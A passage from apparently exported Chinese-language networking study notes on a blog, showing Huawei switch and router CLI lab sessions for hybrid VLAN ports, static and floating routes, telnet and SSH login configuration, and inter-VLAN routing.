hybrid pvid vlan 10[SW1-GigabitEthernet0/0/1]port hybrid untagged vlan 10[SW1-GigabitEthernet0/0/3]int g0/0/2[SW1-GigabitEthernet0/0/2]port link-type hybrid [SW1-GigabitEthernet0/0/2]port hybrid pvid vlan 20[SW1-GigabitEthernet0/0/2]port hybrid untagged vlan 20[SW1-GigabitEthernet0/0/2]int g0/0/4[SW1-GigabitEthernet0/0/4]port link-type hybrid [SW1-GigabitEthernet0/0/4]port hybrid pvid vlan 20[SW1-GigabitEthernet0/0/4]port hybrid untagged vlan 20[SW1]int g0/0/5[SW1-GigabitEthernet0/0/5]port link-type hybrid [SW1-GigabitEthernet0/0/5]port hybrid ? pvid Specify current port's PVID VLAN characteristics tagged Tagged untagged Untagged vlan Virtual LAN[SW1-GigabitEthernet0/0/5]port hybrid tagged vlan 10 20[SW1-GigabitEthernet0/0/5]display port vlan Port Link Type PVID Trunk VLAN List-------------------------------------------------------------------------------GigabitEthernet0/0/1 hybrid 10 - GigabitEthernet0/0/2 hybrid 20 - GigabitEthernet0/0/3 hybrid 10 - GigabitEthernet0/0/4 hybrid 20 - GigabitEthernet0/0/5 hybrid 1 10 20GigabitEthernet0/0/6 hybrid 1 - GigabitEthernet0/0/7 hybrid 1 - GigabitEthernet0/0/8 hybrid 1 - GigabitEthernet0/0/9 hybrid 1 - GigabitEthernet0/0/10 hybrid 1 - GigabitEthernet0/0/11 hybrid 1 - GigabitEthernet0/0/12 hybrid 1 - GigabitEthernet0/0/13 hybrid 1 - GigabitEthernet0/0/14 hybrid 1 - GigabitEthernet0/0/15 hybrid 1 - GigabitEthernet0/0/16 hybrid 1 - GigabitEthernet0/0/17 hybrid 1 - GigabitEthernet0/0/18 hybrid 1 - GigabitEthernet0/0/19 hybrid 1 - GigabitEthernet0/0/20 hybrid 1 - GigabitEthernet0/0/21 hybrid 1 - GigabitEthernet0/0/22 hybrid 1 - GigabitEthernet0/0/23 hybrid 1 - GigabitEthernet0/0/24 hybrid 1 - [SW1-GigabitEthernet0/0/5]&lt;SW1&gt;display cu#sysname SW1#vlan batch 10 20#interface GigabitEthernet0/0/1 port hybrid pvid vlan 10 port hybrid untagged vlan 10#interface GigabitEthernet0/0/2 port hybrid pvid vlan 20 port hybrid untagged vlan 20#interface GigabitEthernet0/0/3 port hybrid pvid vlan 10 port hybrid untagged vlan 10#interface GigabitEthernet0/0/4 port hybrid pvid vlan 20 port hybrid untagged vlan 20#interface GigabitEthernet0/0/5 port hybrid tagged vlan 10 20# SW2&lt;Huawei&gt;syEnter system view, return user view with Ctrl+Z.[Huawei]sy SW2[SW2]vlan batch 10 20Info: This operation may take a few seconds. Please wait for a moment...done.[SW2][SW2]int g0/0/1[SW2-GigabitEthernet0/0/1]port hybrid tagged vlan 10 20[SW2-GigabitEthernet0/0/1]int g0/0/2[SW2-GigabitEthernet0/0/2]port link-type hybrid [SW2-GigabitEthernet0/0/2]port hybrid pvid vlan 10[SW2-GigabitEthernet0/0/2]port hybrid untagged vlan 10[SW2-GigabitEthernet0/0/2]int g0/0/3[SW2-GigabitEthernet0/0/3]port link-type hybrid [SW2-GigabitEthernet0/0/3]port hybrid pvid vlan 20[SW2-GigabitEthernet0/0/3]port hybrid untagged vlan 20&lt;SW2&gt;display cu#sysname SW2#vlan batch 10 20#interface GigabitEthernet0/0/1 port hybrid tagged vlan 10 20#interface GigabitEthernet0/0/2 port hybrid pvid vlan 10 port hybrid untagged vlan 10#interface GigabitEthernet0/0/3 port hybrid pvid vlan 20 port hybrid untagged vlan 20#"},{"title":"","date":"2023-12-20T06:00:00.000Z","updated":"2023-12-20T06:00:00.000Z","comments":true,"path":"notes/datacom/13.html","permalink":"https://blog.mhuig.top/notes/datacom/13","excerpt":"","text":"IP 路由基础 IP 路由基础 路由路由：指导报文转发的路径信息，通过路由可以确认 IP 报文的转发路径. 路由表：路由信息库 (RIB) 每台路由器都维护着一张全局路由表，另外路由器所运行的每种路由协议也维护着自己的路由表. 路由器可以通过多种途径获取路由信息，获取的路由信息会先存储在协议自己的路由表中，然后路由器根据协议的优先级等信息来进行路由优选，并将优选路由加载到全局路由表中. 转发表：转发信息库 (FIB) 数据包根据路由转发需要下一跳地址和出接口. 如果路由表中有匹配的路由条目，则根据条目中的出接口或下一跳信息进行报文转发. 如果路由表内没有该路由信息，则丢弃数据包. 路由表字段内容[R1]display ip routing-table Route Flags: R - relay, D - download to fib------------------------------------------------------------------------------Routing Tables: Public Destinations : 4 Routes : 4 Destination/Mask Proto Pre Cost Flags NextHop Interface 127.0.0.0/8 Direct 0 0 D 127.0.0.1 InLoopBack0 127.0.0.1/32 Direct 0 0 D 127.0.0.1 InLoopBack0127.255.255.255/32 Direct 0 0 D 127.0.0.1 InLoopBack0255.255.255.255/32 Direct 0 0 D 127.0.0.1 InLoopBack0[R1] Destination/Mask: 目的和掩码. Protocol: 该路由通过哪种方式学习到的. Preference: 优先级，当路由器通过不同方式学习到相同的路由时，会比较不同协议之间的优先级，优先级数值越小，优先级越高. Cost: 开销，到达目的网段所花费的开销，路由信息通过不同的方式学习到的路由，对于开销的计算方式也不同，不同协议之间的开销没有可比性，数据越小越优先. Flags: 标记，标明当前路由的状态. D: 已经将该路由条目下载到转发表中. R: 迭代出的路由. NextHop: 下一跳，标明数据从设备出发后，应交给下一台哪个设备. Interface: 标明数据从该设备的哪个接口发送出去. 路由表的构建方式 (学习到路由的方式)1. 直连路由 (direct): 路由器直接相连的网络。优先级 0. 1. 路由器的接口正确的配置了 IP 地址. 2. 接口的物理层状态为 UP. 2. 静态路由 (static): 由管理员手工添加的路由信息。优先级 60. 1. 下一跳必须可达 (或出接口状态必须 UP). 2. 没有优先级更高的路由. 3. 动态路由：路由器通过动态路由协议自动计算得到的路由。可以根据网络变化自动的进行路由表的改变. 动态路由协议: OSPF, RIP, IS-IS, BGP. OSPF 优先级: 10 或 150, 协议号 89. RIP 优先级: 100, 端口号 520. 路由选路原则1. 如果一条路由是当前去往目的地的唯一路径信息，则直接优选. 1.5. 最长掩码匹配原则. 2. 比较优先级，不同的协议拥有不同的优先级，优先级数据越小越优. 3. 比较路由开销，越小越优. 4. 如果以上信息无法确定最优路径，则会进行负载分担. 最长掩码匹配原则：如果路由表中有两条目的网段相同的路由条目，掩码越长 (所匹配的越多), 表示网段越精准，所以掩码越长越优. 目的地: 192.168.1.1 路径: 192.168.1.0/24 192.168.1.0/16 192.168.1.0/29 (v) 20.1.0.0/16 OSPF 10 200 (v) 20.1.0.0/14 RIP 100 3 静态路由静态路由网络管理员手动配置，配置方便，对系统要求低，适用于拓扑结构简单并且稳定的小型网络. 缺点是不能自动适应网络拓扑的变化需要人工干预. 静态路必须由网络管理员手动添加，适用于小型网络或网络结构相对稳定的网络。当网络拓扑发生改变时需要管理员手动进行调整. R1&lt;Huawei&gt;syEnter system view, return user view with Ctrl+Z.[Huawei] sy R1[R1]int g0/0/0[R1-GigabitEthernet0/0/0]ip add 192.168.1.254 24[R1-GigabitEthernet0/0/0]int g0/0/1[R1-GigabitEthernet0/0/1]ip add 12.1.1.1 24[R1-GigabitEthernet0/0/1]q[R1]display ip interface brief *down: administratively down^down: standby(l): loopback(s): spoofingThe number of interface that is UP in Physical is 3The number of interface that is DOWN in Physical is 1The number of interface that is UP in Protocol is 3The number of interface that is DOWN in Protocol is 1Interface IP Address/Mask Physical Protocol GigabitEthernet0/0/0 192.168.1.254/24 up up GigabitEthernet0/0/1 12.1.1.1/24 up up GigabitEthernet0/0/2 unassigned down down NULL0 unassigned up up(s) [R1]display ip routing-table Route Flags: R - relay, D - download to fib------------------------------------------------------------------------------Routing Tables: Public Destinations : 10 Routes : 10 Destination/Mask Proto Pre Cost Flags NextHop Interface 12.1.1.0/24 Direct 0 0 D 12.1.1.1 GigabitEthernet0/0/1 12.1.1.1/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/1 12.1.1.255/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/1 127.0.0.0/8 Direct 0 0 D 127.0.0.1 InLoopBack0 127.0.0.1/32 Direct 0 0 D 127.0.0.1 InLoopBack0127.255.255.255/32 Direct 0 0 D 127.0.0.1 InLoopBack0 192.168.1.0/24 Direct 0 0 D 192.168.1.254 GigabitEthernet0/0/0 192.168.1.254/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/0 192.168.1.255/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/0255.255.255.255/32 Direct 0 0 D 127.0.0.1 InLoopBack0[R1]ip route-static ? IP_ADDR&lt;X.X.X.X&gt; Destination IP address default-preference Preference-value for IPv4 static-routes selection-rule Selection rule vpn-instance VPN-Instance route information[R1]ip route-static 192.168.2.0 ? INTEGER&lt;0-32&gt; Length of IP address mask IP_ADDR&lt;X.X.X.X&gt; IP address mask[R1]ip route-static 192.168.2.0 24 ? IP_ADDR&lt;X.X.X.X&gt; Gateway address Cellular Cellular interface GigabitEthernet GigabitEthernet interface NULL NULL interface vpn-instance Destination VPN-Instance for Gateway address[R1]ip route-static 192.168.2.0 24 12.1.1.2[R1]dis th[V200R003C00]# sysname R1# snmp-agent local-engineid 800007DB03000000000000 snmp-agent # clock timezone China-Standard-Time minus 08:00:00#portal local-server load portalpage.zip# drop illegal-mac alarm# set cpu-usage threshold 80 restore 75#ip route-static 192.168.2.0 255.255.255.0 12.1.1.2#return[R1] R2&lt;Huawei&gt;syEnter system view, return user view with Ctrl+Z.[Huawei]sy R2[R2]int g0/0/1[R2-GigabitEthernet0/0/1]ip add 192.168.2.254 24[R2-GigabitEthernet0/0/1]int g0/0/0[R2-GigabitEthernet0/0/0]ip add 12.1.1.2 24[R2-GigabitEthernet0/0/0]dis ip int br*down: administratively down^down: standby(l): loopback(s): spoofingThe number of interface that is UP in Physical is 3The number of interface that is DOWN in Physical is 1The number of interface that is UP in Protocol is 3The number of interface that is DOWN in Protocol is 1Interface IP Address/Mask Physical Protocol GigabitEthernet0/0/0 12.1.1.2/24 up up GigabitEthernet0/0/1 192.168.2.254/24 up up GigabitEthernet0/0/2 unassigned down down NULL0 unassigned up up(s) [R2]ip route-static 192.168.1.0 24 12.1.1.1[R2]dis th[V200R003C00]# sysname R2# snmp-agent local-engineid 800007DB03000000000000 snmp-agent # clock timezone China-Standard-Time minus 08:00:00#portal local-server load portalpage.zip# drop illegal-mac alarm# set cpu-usage threshold 80 restore 75#ip route-static 192.168.1.0 255.255.255.0 12.1.1.1#return[R2] 等价路由具有相同的网络和掩码，优先级以及开销值，路由器认为多条路由完全等价，则会将多条路由加入到路由表中，实现负载均衡. 浮动路由在配置路由时，使其中一条路由优先级高于其他路由，从而实现路由的备份，主路由失效的情况下，路由器会将备份路由添加到路由表中. [R6]ip route-static 192.168.3.0 24 41.1.1.1 preference 70 R5&lt;R5&gt;syEnter system view, return user view with Ctrl+Z.[R5][R5][R5]int g4/0/0[R5-GigabitEthernet4/0/0]ip add 41.1.1.1 24Dec 21 2023 09:33:38-08:00 R5 %%01IFNET/4/LINK_STATE(l)[0]:The line protocol IP on the interface GigabitEthernet4/0/0 has entered the UP state. [R5-GigabitEthernet4/0/0]q[R5]ip rou [R5]ip route-s [R5]ip route-static 192.168.4.0 24 41.1.1.2[R5]dis ip rou [R5]dis ip routing-table Route Flags: R - relay, D - download to fib------------------------------------------------------------------------------Routing Tables: Public Destinations : 20 Routes : 21 Destination/Mask Proto Pre Cost Flags NextHop Interface 12.1.1.0/24 Static 60 0 RD 13.1.1.1 GigabitEthernet0/0/0 13.1.1.0/24 Direct 0 0 D 13.1.1.2 GigabitEthernet0/0/0 13.1.1.2/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/0 13.1.1.255/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/0 14.1.1.0/24 Direct 0 0 D 14.1.1.1 GigabitEthernet0/0/1 14.1.1.1/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/1 14.1.1.255/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/1 41.1.1.0/24 Direct 0 0 D 41.1.1.1 GigabitEthernet4/0/0 41.1.1.1/32 Direct 0 0 D 127.0.0.1 GigabitEthernet4/0/0 41.1.1.255/32 Direct 0 0 D 127.0.0.1 GigabitEthernet4/0/0 127.0.0.0/8 Direct 0 0 D 127.0.0.1 InLoopBack0 127.0.0.1/32 Direct 0 0 D 127.0.0.1 InLoopBack0127.255.255.255/32 Direct 0 0 D 127.0.0.1 InLoopBack0 192.168.1.0/24 Static 60 0 RD 13.1.1.1 GigabitEthernet0/0/0 192.168.2.0/24 Static 60 0 RD 13.1.1.1 GigabitEthernet0/0/0 192.168.3.0/24 Direct 0 0 D 192.168.3.254 GigabitEthernet0/0/2 192.168.3.254/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/2 192.168.3.255/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/2 192.168.4.0/24 Static 60 0 RD 14.1.1.2 GigabitEthernet0/0/1 Static 60 0 RD 41.1.1.2 GigabitEthernet4/0/0255.255.255.255/32 Direct 0 0 D 127.0.0.1 InLoopBack0[R5]ip route-static 192.168.4.0 24 41.1.1.2 preference 40Info: Succeeded in modifying route.[R5]dis ip routing-tableRoute Flags: R - relay, D - download to fib------------------------------------------------------------------------------Routing Tables: Public Destinations : 20 Routes : 20 Destination/Mask Proto Pre Cost Flags NextHop Interface 12.1.1.0/24 Static 60 0 RD 13.1.1.1 GigabitEthernet0/0/0 13.1.1.0/24 Direct 0 0 D 13.1.1.2 GigabitEthernet0/0/0 13.1.1.2/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/0 13.1.1.255/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/0 14.1.1.0/24 Direct 0 0 D 14.1.1.1 GigabitEthernet0/0/1 14.1.1.1/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/1 14.1.1.255/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/1 41.1.1.0/24 Direct 0 0 D 41.1.1.1 GigabitEthernet4/0/0 41.1.1.1/32 Direct 0 0 D 127.0.0.1 GigabitEthernet4/0/0 41.1.1.255/32 Direct 0 0 D 127.0.0.1 GigabitEthernet4/0/0 127.0.0.0/8 Direct 0 0 D 127.0.0.1 InLoopBack0 127.0.0.1/32 Direct 0 0 D 127.0.0.1 InLoopBack0127.255.255.255/32 Direct 0 0 D 127.0.0.1 InLoopBack0 192.168.1.0/24 Static 60 0 RD 13.1.1.1 GigabitEthernet0/0/0 192.168.2.0/24 Static 60 0 RD 13.1.1.1 GigabitEthernet0/0/0 192.168.3.0/24 Direct 0 0 D 192.168.3.254 GigabitEthernet0/0/2 192.168.3.254/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/2 192.168.3.255/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/2 192.168.4.0/24 Static 40 0 RD 41.1.1.2 GigabitEthernet4/0/0255.255.255.255/32 Direct 0 0 D 127.0.0.1 InLoopBack0[R5] R6&lt;R6&gt;syEnter system view, return user view with Ctrl+Z.[R6]int g4/0/0[R6-GigabitEthernet4/0/0]ip add 41.1.1.2 24Dec 21 2023 09:34:36-08:00 R6 %%01IFNET/4/LINK_STATE(l)[0]:The line protocol IP on the interface GigabitEthernet4/0/0 has entered the UP state. [R6-GigabitEthernet4/0/0]q [R6]ip route-static 192.168.3.0 24 41.1.1.1[R6]display ip routing-table Route Flags: R - relay, D - download to fib------------------------------------------------------------------------------Routing Tables: Public Destinations : 18 Routes : 19 Destination/Mask Proto Pre Cost Flags NextHop Interface 12.1.1.0/24 Static 60 0 RD 14.1.1.1 GigabitEthernet0/0/0 13.1.1.0/24 Static 60 0 RD 14.1.1.1 GigabitEthernet0/0/0 14.1.1.0/24 Direct 0 0 D 14.1.1.2 GigabitEthernet0/0/0 14.1.1.2/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/0 14.1.1.255/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/0 41.1.1.0/24 Direct 0 0 D 41.1.1.2 GigabitEthernet4/0/0 41.1.1.2/32 Direct 0 0 D 127.0.0.1 GigabitEthernet4/0/0 41.1.1.255/32 Direct 0 0 D 127.0.0.1 GigabitEthernet4/0/0 127.0.0.0/8 Direct 0 0 D 127.0.0.1 InLoopBack0 127.0.0.1/32 Direct 0 0 D 127.0.0.1 InLoopBack0127.255.255.255/32 Direct 0 0 D 127.0.0.1 InLoopBack0 192.168.1.0/24 Static 60 0 RD 14.1.1.1 GigabitEthernet0/0/0 192.168.2.0/24 Static 60 0 RD 14.1.1.1 GigabitEthernet0/0/0 192.168.3.0/24 Static 60 0 RD 14.1.1.1 GigabitEthernet0/0/0 Static 60 0 RD 41.1.1.1 GigabitEthernet4/0/0 192.168.4.0/24 Direct 0 0 D 192.168.4.254 GigabitEthernet0/0/1 192.168.4.254/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/1 192.168.4.255/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/1255.255.255.255/32 Direct 0 0 D 127.0.0.1 InLoopBack0[R6]ip route-static 192.168.3.0 24 41.1.1.1 preference 70Info: Succeeded in modifying route.[R6]display ip routing-tableRoute Flags: R - relay, D - download to fib------------------------------------------------------------------------------Routing Tables: Public Destinations : 18 Routes : 18 Destination/Mask Proto Pre Cost Flags NextHop Interface 12.1.1.0/24 Static 60 0 RD 14.1.1.1 GigabitEthernet0/0/0 13.1.1.0/24 Static 60 0 RD 14.1.1.1 GigabitEthernet0/0/0 14.1.1.0/24 Direct 0 0 D 14.1.1.2 GigabitEthernet0/0/0 14.1.1.2/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/0 14.1.1.255/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/0 41.1.1.0/24 Direct 0 0 D 41.1.1.2 GigabitEthernet4/0/0 41.1.1.2/32 Direct 0 0 D 127.0.0.1 GigabitEthernet4/0/0 41.1.1.255/32 Direct 0 0 D 127.0.0.1 GigabitEthernet4/0/0 127.0.0.0/8 Direct 0 0 D 127.0.0.1 InLoopBack0 127.0.0.1/32 Direct 0 0 D 127.0.0.1 InLoopBack0127.255.255.255/32 Direct 0 0 D 127.0.0.1 InLoopBack0 192.168.1.0/24 Static 60 0 RD 14.1.1.1 GigabitEthernet0/0/0 192.168.2.0/24 Static 60 0 RD 14.1.1.1 GigabitEthernet0/0/0 192.168.3.0/24 Static 60 0 RD 14.1.1.1 GigabitEthernet0/0/0 192.168.4.0/24 Direct 0 0 D 192.168.4.254 GigabitEthernet0/0/1 192.168.4.254/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/1 192.168.4.255/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/1255.255.255.255/32 Direct 0 0 D 127.0.0.1 InLoopBack0[R6]int g0/0/0[R6-GigabitEthernet0/0/0]shutdownDec 21 2023 09:45:33-08:00 R6 %%01IFPDT/4/IF_STATE(l)[1]:Interface GigabitEthernet0/0/0 has turned into DOWN state.[R6-GigabitEthernet0/0/0]Dec 21 2023 09:45:33-08:00 R6 %%01IFNET/4/LINK_STATE(l)[2]:The line protocol IP on the interface GigabitEthernet0/0/0 has entered the DOWN state. [R6-GigabitEthernet0/0/0]disp ip routing-table Route Flags: R - relay, D - download to fib------------------------------------------------------------------------------Routing Tables: Public Destinations : 11 Routes : 11 Destination/Mask Proto Pre Cost Flags NextHop Interface 41.1.1.0/24 Direct 0 0 D 41.1.1.2 GigabitEthernet4/0/0 41.1.1.2/32 Direct 0 0 D 127.0.0.1 GigabitEthernet4/0/0 41.1.1.255/32 Direct 0 0 D 127.0.0.1 GigabitEthernet4/0/0 127.0.0.0/8 Direct 0 0 D 127.0.0.1 InLoopBack0 127.0.0.1/32 Direct 0 0 D 127.0.0.1 InLoopBack0127.255.255.255/32 Direct 0 0 D 127.0.0.1 InLoopBack0 192.168.3.0/24 Static 70 0 RD 41.1.1.1 GigabitEthernet4/0/0 192.168.4.0/24 Direct 0 0 D 192.168.4.254 GigabitEthernet0/0/1 192.168.4.254/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/1 192.168.4.255/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/1255.255.255.255/32 Direct 0 0 D 127.0.0.1 InLoopBack0[R6-GigabitEthernet0/0/0]undo shutdown[R6-GigabitEthernet0/0/0]Dec 21 2023 09:48:22-08:00 R6 %%01IFPDT/4/IF_STATE(l)[3]:Interface GigabitEthernet0/0/0 has turned into UP state.[R6-GigabitEthernet0/0/0]Dec 21 2023 09:48:22-08:00 R6 %%01IFNET/4/LINK_STATE(l)[4]:The line protocol IP on the interface GigabitEthernet0/0/0 has entered the UP state. [R6-GigabitEthernet0/0/0] 缺省路由去往任意网段的路由. ip route-static 0.0.0.0 0 下一跳地址"},{"title":"","date":"2023-12-21T06:00:00.000Z","updated":"2023-12-21T06:00:00.000Z","comments":true,"path":"notes/datacom/14.html","permalink":"https://blog.mhuig.top/notes/datacom/14","excerpt":"","text":"远程登录 远程登录 telnet 线路认证[R2]telnet server enable // 开启Telent服务[R2]user-interface vty 0 4 // 进入虚拟终端线路配置用户[R2-ui-vty0-4]protocol inbound telnet // 设置用户登录方式[R2-ui-vty0-4]authentication-mode password // 认证模式为密码认证[R2-ui-vty0-4]set authentication password cipher 123456[R2-ui-vty0-4]user privilege level 15 // 设置用户等级 用户视图 telenet x.x.x.x R2&lt;Huawei&gt;syEnter system view, return user view with Ctrl+Z.[Huawei]sy R2[R2]int g0/0/0[R2-GigabitEthernet0/0/0]ip add 34.1.1.2 24[R2-GigabitEthernet0/0/0][R2-GigabitEthernet0/0/0]q[R2]telnet server enable Error: TELNET server has been enabled[R2]user-interface vt [R2]user-interface vty 0 4[R2-ui-vty0-4]protocol inbound telnet [R2-ui-vty0-4]display this [V200R003C00]#user-interface con 0 authentication-mode passworduser-interface vty 0 4user-interface vty 16 20#return[R2-ui-vty0-4]authentication-mode ? aaa AAA authentication password Authentication through the password of a user terminal interface[R2-ui-vty0-4]authentication-mode password ? &lt;cr&gt; Please press ENTER to execute command [R2-ui-vty0-4]authentication-mode passwordPlease configure the login password (maximum length 16):123456[R2-ui-vty0-4]user privilege ? level Set the login priority of a user terminal[R2-ui-vty0-4]user privilege level ? INTEGER&lt;0-15&gt; Set a priority, the default value is 0[R2-ui-vty0-4]user privilege level 15[R2-ui-vty0-4] R1&lt;Huawei&gt;syEnter system view, return user view with Ctrl+Z.[Huawei]sy R1[R1]int g0/0/0[R1-GigabitEthernet0/0/0]ip add 34.1.1.1 24Dec 21 2023 11:45:03-08:00 R1 %%01IFNET/4/LINK_STATE(l)[0]:The line protocol IP on the interface GigabitEthernet0/0/0 has entered the UP state. [R1-GigabitEthernet0/0/0]q[R1]q&lt;R1&gt;telnet 34.1.1.2 Press CTRL_] to quit telnet mode Trying 34.1.1.2 ... Connected to 34.1.1.2 ...Login authenticationPassword:&lt;R2&gt; telnet 本地用户认证[R2]telnet server enable // 开启Telent服务[R4]aaa[R4-aaa]local-user testuser password cipher 123456 // 创建用户并设置密码[R4-aaa]local-user testuser privilege level 2 // 设置用户等级[R4-aaa]local-user testuser service-type telnet // 用户的登录方式[R4]user-interface vty 0 4[R4-ui-vty0-4]authentication-mode aaa // 认证模式为aaa认证 R4&lt;Huawei&gt;syEnter system view, return user view with Ctrl+Z.[Huawei]sy R4[R4]int g0/0/0[R4-GigabitEthernet0/0/0]ip add 56.1.1.2 24[R4-GigabitEthernet0/0/0]q[R4]telnet server enable Error: TELNET server has been enabled[R4]aaa[R4-aaa][R4-aaa][R4-aaa][R4-aaa]local-user testuser password cipher 123456Info: Add a new user.[R4-aaa]dis this [V200R003C00]#aaa authentication-scheme default authorization-scheme default accounting-scheme default domain default domain default_admin local-user admin password cipher %$%$K8m.Nt84DZ}e#&lt;0`8bmE3Uw}%$%$ local-user admin service-type http local-user testuser password cipher %$%$HPm[~yFOaU!LuC#'ZSi@Pc''%$%$#return[R4-aaa]local-user testuser privilege level 2[R4-aaa]local-user testuser service-type telnet[R4-aaa][R4-aaa]local-user test2 password cipher 456789Info: Add a new user.[R4-aaa]local-user test2 privilege level 3[R4-aaa]local-user test2 service-type telnet[R4-aaa]q[R4]user-interface vty 0 4[R4-ui-vty0-4]authentication-mode aaa R3&lt;Huawei&gt;syEnter system view, return user view with Ctrl+Z.[Huawei]sy R3[R3]int g0/0/0[R3-GigabitEthernet0/0/0]ip add 56.1.1.1 24&lt;R3&gt;&lt;R3&gt;telnet 56.1.1.2 Press CTRL_] to quit telnet mode Trying 56.1.1.2 ... Connected to 56.1.1.2 ...Login authenticationUsername:testuserPassword:&lt;R4&gt; SSHSSH: 是一种加密的远程登录协议，采 用非对称加密方式. 对称加密：两端采用同样的密钥进行数据的加密和解密，一旦密钥被泄露，则数据安全无法保障. 非对称加密：双方都拥有自己的公钥和私钥，双方都将自己的公钥告知对方，并要求对方使用自己的公钥加密，通过公钥加密的数据只能通过对应的私钥解密，公钥可以被传递到网络中，私钥只能本地保存，不能被传递. PC[PC]rsa local-key-pair create // 创建密钥对[PC]ssh client first-time enable // 开启首次登录[PC]stelnet x.x.x.x SSH_SERVER[SSH_SERVER]stelnet server enable // 开启ssh服务// 创建SSH认证登录所需的用户信息.[SSH_SERVER]aaa[SSH_SERVER-aaa]local-user sshuser password cipher 123456[SSH_SERVER-aaa]local-user sshuser privilege level 3[SSH_SERVER-aaa]local-user sshuser service-type ssh //设置用户为SSH用户// 配置vty线路认证[SSH_SERVER]user-interface vty 0 4[SSH_SERVER-ui-vty0-4]authentication-mode aaa[SSH_SERVER-ui-vty0-4]protocol inbound ssh// 通过RSA算法生成密钥对[SSH_SERVER]rsa local-key-pair create R2&lt;Huawei&gt;syEnter system view, return user view with Ctrl+Z.[Huawei]sy SSH_SERVER[SSH_SERVER]int g0/0/0[SSH_SERVER-GigabitEthernet0/0/0]ip add 12.1.1.2 24[SSH_SERVER]stelnet server enable Info: Succeeded in starting the STELNET server.[SSH_SERVER][SSH_SERVER]aaa[SSH_SERVER-aaa]local-user sshuser password cipher 123456Info: Add a new user.[SSH_SERVER-aaa]local-user sshuser privilege level 3[SSH_SERVER-aaa]local-user sshuser service-type ssh[SSH_SERVER-aaa]q[SSH_SERVER]user-interface vty 0 4[SSH_SERVER-ui-vty0-4]authentication-mode aaa[SSH_SERVER-ui-vty0-4]protocol inbound ? all All protocols ssh SSH protocol telnet Telnet protocol[SSH_SERVER-ui-vty0-4]protocol inbound ssh[SSH_SERVER]rsa local-key-pair create The key name will be: Host% RSA keys defined for Host already exist.Confirm to replace them? (y/n)[n]:yThe range of public key size is (512 ~ 2048).NOTES: If the key modulus is greater than 512, It will take a few minutes.Input the bits in the modulus[default = 512]:1024Generating keys......................++++++..........................++++++.............++++++++.++++++++[SSH_SERVER] R1&lt;Huawei&gt;syEnter system view, return user view with Ctrl+Z.[Huawei] sy PC[PC]int g0/0/0[PC-GigabitEthernet0/0/0]ip add 12.1.1.1 24[PC][PC]rsa local-key-pair create The key name will be: Host% RSA keys defined for Host already exist.Confirm to replace them? (y/n)[n]:yThe range of public key size is (512 ~ 2048).NOTES: If the key modulus is greater than 512, It will take a few minutes.Input the bits in the modulus[default = 512]:1024Generating keys....++++++........++++++......++++++++......................++++++++[PC][PC]ssh client first-time enable [PC]stelnet 12.1.1.2Please input the username:sshuserTrying 12.1.1.2 ...Press CTRL+K to abortConnected to 12.1.1.2 ...The server is not authenticated. Continue to access it? (y/n)[n]:yDec 21 2023 15:02:27-08:00 PC %%01SSH/4/CONTINUE_KEYEXCHANGE(l)[0]:The server had not been authenticated in the process of exchanging keys. When deciding whether to continue, the user chose Y. [PC]Save the server's public key? (y/n)[n]:yThe server's public key will be saved with the name 12.1.1.2. Please wait...Dec 21 2023 15:02:32-08:00 PC %%01SSH/4/SAVE_PUBLICKEY(l)[1]:When deciding whether to save the server's public key 12.1.1.2, the user chose Y. [PC]Enter password:&lt;SSH_SERVER&gt;"},{"title":"","date":"2023-12-25T06:00:00.000Z","updated":"2023-12-25T06:00:00.000Z","comments":true,"path":"notes/datacom/15.html","permalink":"https://blog.mhuig.top/notes/datacom/15","excerpt":"","text":"实现 VLAN 间通信 实现 VLAN 间通信 使用路由器物理接口 R1&lt;Huawei&gt;sy[Huawei]sy R1[R1]int g0/0/0[R1-GigabitEthernet0/0/0]ip add 192.168.1.254 24[R1-GigabitEthernet0/0/0]int g0/0/1[R1-GigabitEthernet0/0/1]ip add 192.168.2.254 24[R1-GigabitEthernet0/0/1] SW1&lt;Huawei&gt;sy[Huawei]sy SW1[SW1]vlan batch 10 20[SW1]interface g0/0/1[SW1-GigabitEthernet0/0/1]p l a[SW1-GigabitEthernet0/0/1]p d vlan 10[SW1-GigabitEthernet0/0/1]int g0/0/2[SW1-GigabitEthernet0/0/2][SW1-GigabitEthernet0/0/2]p l a[SW1-GigabitEthernet0/0/2]p d vlan 10[SW1-GigabitEthernet0/0/2]int g0/0/3[SW1-GigabitEthernet0/0/3]p l a[SW1-GigabitEthernet0/0/3]p d vlan 20[SW1-GigabitEthernet0/0/3][SW1-GigabitEthernet0/0/3]int g0/0/4[SW1-GigabitEthernet0/0/4]p l a[SW1-GigabitEthernet0/0/4]p d vlan 20[SW1-GigabitEthernet0/0/4] 子接口 单臂路由单臂路由子接口: 路由器共用一个物理接口，是路由器上的虚拟接口，多个子接口可以共用一个物理接口，每个子接口属于一个单独的网络，每个子接口可以和同一个 VLAN 的设备通信，通过 dot.1q (802.1q) 的标签区分不同子接口的数据，连接子接口的交换机需要使用 Trunk 端口. R1[R1]int g0/0/1[R1-GigabitEthernet0/0/1]undo ip add 192.168.2.254 24[R1-GigabitEthernet0/0/1]q[R1]int 